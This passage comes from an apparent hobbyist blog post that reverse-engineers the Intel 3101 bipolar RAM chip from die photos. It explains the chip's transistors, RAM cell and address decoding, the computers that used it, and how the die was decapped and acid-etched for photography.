(C), emitter (E), and base (B). Underneath, the silicon has been doped to form the N and P regions that make up the transistor. A key innovation of the 3101 was using Schottky transistors (details), which made the 3101 almost twice as fast as other memory chips.5 In the cross section, note that the base's metal contact touches both the P and N regions. You might think this shorts the two regions together, but instead a Schottky diode is formed where the metal contacts the N layer.6 The structure of an NPN Schottky transistor inside the Intel 3101 chip. The 3101 also used many multiple-emitter transistors. While a multiple-emitter transistors may seem strange, they are common in bipolar integrated circuits, especially TTL logic chips. A multiple-emitter transistor simply has several emitter regions embedded in the base region. The die photo below shows one of these transistors with the collector on the left, followed by the base and two emitters. A multiple-emitter transistor from the Intel 3101 chip. Driving the data output pins requires larger, high-current transistors. The image below shows one of these transistors. The central rectangle is the base, surrounded by the C-shaped emitter in the middle and the large collector on the outside. Eight of these high-current transistors are also used to drive the internal address select lines. For the high-current output, the Intel 3101 chip uses larger transistors. Diodes While examining the 3101 chip, I was surprised by the large number of diodes on the chip. Eventually I figured out that the chip used DTL (diode-transistor logic) for most of its logic rather than TTL (transistor-transistor logic) that I was expecting. The diagram below shows one of the diodes on the chip. I believe the chip builds diodes using the standard technique of connecting an NPN transistor as a diode. Presumed structure of a diode inside the 3101 chip. I believe this is a regular diode, not a Schottky diode. Resistors The die photo below shows several resistors on the 3101 die. The long, narrow snaking regions of p-type silicon provide resistance. Resistors in integrated circuits are inconveniently large, but are heavily used in the 3101 for pull-up and pull-down resistors. At the right is a square resistor, which has low resistance because it is very wide.7 It is used to route a signal under the metal layer, rather than functioning a resistor per se. Resistors inside the 3101 chip. The static RAM cell Now that I've explained the individual components of the chip, I'll explain how the circuitry is wired together for storage. The diagram below shows the cell for one bit of storage with the circuit diagram overlaid. Each cell consists of two multi-emitter transistors (outlined in red) and two resistors (at the top). The horizontal and vertical wiring connects cells together. This circuit forms a static RAM cell, basically a latch that can be in one of two states, storing one data bit. The circuitry of one storage cell of the 3101 RAM chip. The two multiple-emitter transistors are outlined in red. Before explaining how this storage cell works, I'll explain a simpler latch circuit, below. This circuit has two transistors cross-connected so if one transistor is on, it forces the other off. In the diagram, the left transistor is on, which keeps the right transistor off, which keeps the left transistor on. Thus, the circuit will remain in this stable configuration. The opposite state—with the left transistor off and the right transistor on—is also stable. Thus, the latch has two stable configurations, allowing it to hold a 0 or a 1. A simple latch circuit. The transistor on the left is on, forcing the transistor on the right off, forcing the transistor on the left off... To make this circuit usable—so the bit can be read or modified—more complex transistors with two emitters are used. One emitter is used to select which cell to read or write, while the other emitter is used for the read or write data. This yields the schematic below, which matches the storage cell die photo diagram above. The RAM cell used in the Intel 3101 is based on multiple-emitter transistors. The row select lines are raised to read/write the row of cells. Each data line accesses a column of cells. Multiple storage cells are combined into a grid to form the memory memory. One word of memory consists of cells in the same row that share select lines. All the cells in a column store the same bit position; their data lines are tied together. (The bias line provides a voltage level to all cells in the memory.8) Note that unlike the simplified cell, the circuit above doesn't have an explicit ground connection; to be powered, it requires a low input on either the select or data/bias lines. There are three cases of interest: Unselected: If the negative row select line is low, current flows out through the row select line. The data and bias lines are unaffected by this cell. Read: If the negative row select line is higher than the data and bias lines, current will flow out the data line if the left transistor is on, and out the bias line if the right transistor is on. Thus, the state of the cell can be read by examining the current on the data line. Write: If the negative row select line is higher and the data and bias lines have significantly different voltages, the transistor on the lower side will switch on, forcing the cell into a particular state. This allows a 0 or 1 to be written to the cell. Thus, by carefully manipulating the voltages on the select lines, data lines and the bias line, one row of memory can be read or written, while the other cells hold their current value without influencing the data line. The storage cell and the associated read/write circuitry are essentially analog circuits rather than digital since the select, data, and bias voltages must be carefully controlled voltages rather than logic levels. The address decode logic The address decode circuitry determines which row of memory cells is selected by the address lines.11 The interesting thing about this circuitry is that you can easily see how it works just by looking at the die photo. The address driver circuitry sends the four address signals along with their complements on eight metal traces through the chip. Each storage row has a four-emitter transistor. In each row you can see four black dots, which are the connections between emitters and address lines. A row will be selected if all the emitter inputs are high.9 A dot on an address line (e.g. A0) will "match" a 1, while a dot on the complemented address line (e.g. A0) will match a 0, so each row matches a unique four-bit address. In the die photo below, you can see the decoding logic counting down in binary for rows 15 down to 11;10 the remainder of the circuit follows the same pattern. The address decode logic in the Intel 3101 RAM chip. Each row decodes matches four address lines to decode one of the 16 address combinations. You can see the value counting down in binary. Some systems that used the 3101 The 64-bit storage capacity of the 3101 was too small for a system's main memory, but the chip had a role in many minicomputers. For example, the Burroughs D Machine was a military computer (and the source of the chips I examined). It used core memory for its main storage, but a board full of 3101 chips provided high-speed storage for its microcode. The Xerox Alto used four 3101 chips to provide 16 high-speed registers for the CPU, while the main memory used slower DRAM chips. Interdata used 3101 chips in many of its 16- and 32-bit minicomputers up until the 1980s.12 The 3101 was also used in smaller systems. The Diablo 8233 terminal used them as RAM.13 The Datapoint 2200 was a "programmable terminal" that held its processor stack in fast 3101 chips rather than the slow main memory which was built from Intel 1405 shift registers. The CPU of the Datapoint 2200 computer was built from a board full of TTL chips. The four white chips in the lower center-right are Intel 3101 RAM chips holding the stack. Photo courtesy of Austin Roche (I think). How I created the die photos To get the die photos, I started with two chips that I received thanks to Evan Wasserman and John Culver. The pins on the chips had been crushed in the mail, but this didn't affect the die photos. The chips had two different lot numbers that indicate they were manufactured a few months apart. Strangely, the metal lids on the chips were different sizes and the dies were slightly different. For more information, see the CPU Shack writeup of the 3101. Two 3101 RAM chips. The chip on the right was manufactured slightly later and has a larger lid over the die. Popping the metal lid off the chips was easy—just a tap with a hammer and chisel. This revealed the die inside. With the lid removed, you can see the die of the 3101 RAM chip and the bond wires connected to the die. Using a metallurgical microscope and Hugin stitching software (details), I stitched together multiple microscope photos to create an image of the die. The metal layer is clearly visible, but it obscures the silicon underneath, making it hard to determine the chip's circuitry. The photo below shows a closeup of the die showing the "3101" part number. The die photo of the Intel 3101 shows mostly the metal layer. I applied acid14 to remove the metal layer. This removed most of the metal, revealing the silicon circuitry underneath. Some of the metal is still visible, but thinner, appearing transparent green. Strangely, the number 3101 turned into 101; apparently the first digit wasn't as protected by oxide as the other digits. Treatment with acid dissolved most of the metal layer of the 3101 chip, revealing the silicon circuits underneath. Below is the complete die photo of the chip with the metal layer partially stripped off. (Click it for a larger version.) This die photo was most useful for analyzing the chip. Enough of the metal was removed to clearly show the silicon circuits, but the remaining traces of metal showed most of the wiring. The N+ silicon regions appear to have darkened in this etch cycle. Die photo of the Intel 3101 64-bit RAM chip with metal layer partially stripped off. I wanted to see how the chip looked with the metal entirely removed so I did a second etch cycle. Unfortunately, this left the die looking like it had been destroyed. After dissolving most of the oxide layer, the die looks like a mess. (This is a different region from the other photos.) I performed a third etch cycle. It turns out that the previous etch hadn't destroyed the die, but just left a thin layer of oxide that caused colored interference bands. The final etch removed the remaining oxide, leaving a nice, clean die. Only a ghost of the "101" number is visible. The contacts between the metal layer and the silicon remained after the etch; they may be different type of metal that didn't dissolve. The metal and oxide have been completely removed from the 3101 die, showing the silicon layer. Below is the full die photo with all the metal stripped off. (Click it for a full-size image.) Die photo of the Intel 3101 64-bit RAM chip with metal layer stripped off. Conclusion The 3101 RAM chip illustrates the amazing improvements in integrated circuits driven by Moore's Law.15 While the 3101 originally cost $99.50 for 64 bits, you can now buy 16 gigabytes of RAM for that price, two billion times as much storage. If you built a 16 GB memory from two billion 3101 chips, the chips alone would weigh about 3000 tons and use over a billion watts, half of Hoover Dam's power. A modern 16GB DRAM module, in comparison, uses only about 5 watts. As for Intel, the 3101 RAM was soon followed by many other memory products with rapidly increasing capacity, making Intel primarily a memory company that also produced processors. However, facing strong competition from Japanese memory manufacturers, Intel changed its focus to microprocessors and abandoned the DRAM business in 1985.16 By 1992, the success of the x86 processor line had made Intel the largest chip maker, justifying this decision. Even though Intel is now viewed as a processor company, it was the humble 3101 memory chip that gave Intel its start. Thanks to Evan Wasserman and John Culver for sending me the chips. John also did a writeup of the 3101 chip, which you can read at CPU Shack. Notes and references You might wonder why Intel's first chip had the seemingly-arbitrary number 3101. Intel had a highly-structured naming system. A 3xxx part number indicated a bipolar product. A 1 for the second digit indicated RAM, while the last two digits (01) were a sequence number. Fortunately, the marketing department stepped in and gave the 4004 and 8008 processors better names. ↩ Memory chips started out very expensive, but prices rapidly dropped. Computer Design Volume 9 page 28, 1970, announced a price drop of the 3101 from $99.50 to $40 in small volumes. Ironically, the Intel 3101 is now a collector's item and on eBay costs much more than the original price—hundreds of dollars for the right package. ↩ Several sources say that the 3101 was the first solid state memory, but this isn't accurate. There were many companies making memory chips in the 1960s. For instance, Texas Instruments announced the 16-bit SN5481 bipolar memory chip in 1966 (Electronics, V39 #1, p151) and Transitron had the TMC 3162 and 3164 16-bit RAM (Electrical Design News, Volume 11, p14). In 1968, RCA made 72-bit and 288-bit CMOS memories for the Air Force (document, photo). Lee Boysel built 256-bit dynamic RAMs at Fairchild in 1968 and 1K dynamic RAMs at Four Phase Systems in 1969 (timeline and Boysel presentation). For more information on the history of memory technology, see timeline and History of Semiconductor Engineering, p215. Another source for memory history is To the Digital Age, p193. ↩ From my measurements, the 3101 die is about 2.39mm by 3.65mm. Feature size is about 12µm. ↩ If you've used TTL chips, you probably used the 74LSxx family. The "S" stands for the Schottky transistors that make these chip fast. These chips were "the single most profitable product line in the history of Texas Instruments" (ref). ↩ The Schottky diode in the Schottky transistor is formed between the base and collector. This diode prevents the transistor from becoming saturated, allowing it to switch faster. ↩ The resistance of an IC resistor is proportional to the length divided by the width. The sheet resistance of a material is measured in the unusual unit of ohms per square. You might think it should be per square nanometer or square mm or something, but since the resistance depends on the ratio of length to width, the unit cancels out. ↩ The bias line is shared by all the cells. For reading, it is set to a low voltage. For writing, it is set to an intermediate voltage: higher than the data 0 voltage, but lower than the data 1 voltage. The bias voltage is controlled by the write enable pin. More advanced chips use two data lines instead of a bias line for more sensitivity. A differential amplifier to compare the currents on the two data lines and distinguish the tiny change between a zero bit and a one bit. However, the 3101 uses such high currents internally that this isn't necessary; it can read the data line directly. ↩ If my analysis is correct, when a row is selected, the address decode logic raises both the positive row select and negative row select lines by about 0.8 volts (one diode drop). Thus, the cell is still powered by the same voltage differential, but the voltage shift makes the data and bias lines active. ↩ Address lines A3 and A2 are reversed in the decoding logic, presumably because it made chip layout simpler. This has no effect on the operation of the chip since it doesn't matter of the physical word order matches the binary order. ↩ The 3101 has a chip select pin that makes it easy to combine multiple chips into a larger memory. If this pin is high, the chip will not read or write its contents. One strange thing about the address decoding logic is that each pair of address lines is driven by a NAND gate latch. There's no actual latching happening, so I don't understand why this circuit is used. How the 3101 implements this feature is a bit surprising. The chip select signal is fed into the address decoding circuit; if the chip is not selected, both A0 and the complement A0 are forced low. Thus, none of the rows will match in the address decoding logic and the chip doesn't respond. ↩ The Interdata 7/32 (the first 32-bit minicomputer) used 3101 chips in its memory controller. (See the maintenance manual page 338.) The Interdata 16/HSALU used 3101 chips for its CPU registers. (See the maintenance manual page 259.) As late as 1982, the Interdata 3210 used 3101 chips to hold cache tags (see manual page 456). On the schematics note that part number 19-075 indicates the 3101. ↩ The Diablo 8233 terminal used 3101A (74S289) chips as RAM for its discrete TTL-based processor (which was more of a microcontroller) that controlled the printer. (See maintenance manual page 187.) This systems was unusual since it contained both an 8080 microprocessor and a TTL-based processor. ↩ The metal layer of the chip is protected by silicon dioxide passivation layer. The professional way to remove this layer is with dangerous hydrofluoric acid. Instead, I used Armour Etch glass etching cream, which is slightly safer and can be obtained at craft stores. I applied the etching cream to the die and wiped it for four minutes with a Q-tip. (Since the cream is designed for frosting glass, it only etches in spots. It must be moved around to obtain a uniform etch.) Next, I applied a few drops of hydrochloric acid (pool acid from the hardware store) to the die for a few hours. ↩ Moore's law not only describes the exponential growth in transistors per chip, but drives this growth. The semiconductor industry sets its roadmap according to Moore's law, making it in some sense a self-fulfilling prophecy. See chapter 8 of Technological Innovation in the Semiconductor Industry for a thorough discussion. ↩ Intel's 1985 Annual Report says "It was a miserable year for Intel" and discusses the decision to leave the DRAM business. ↩ Sursa: http://www.righto.com/2017/07/inside-intels-first-product-3101-ram.html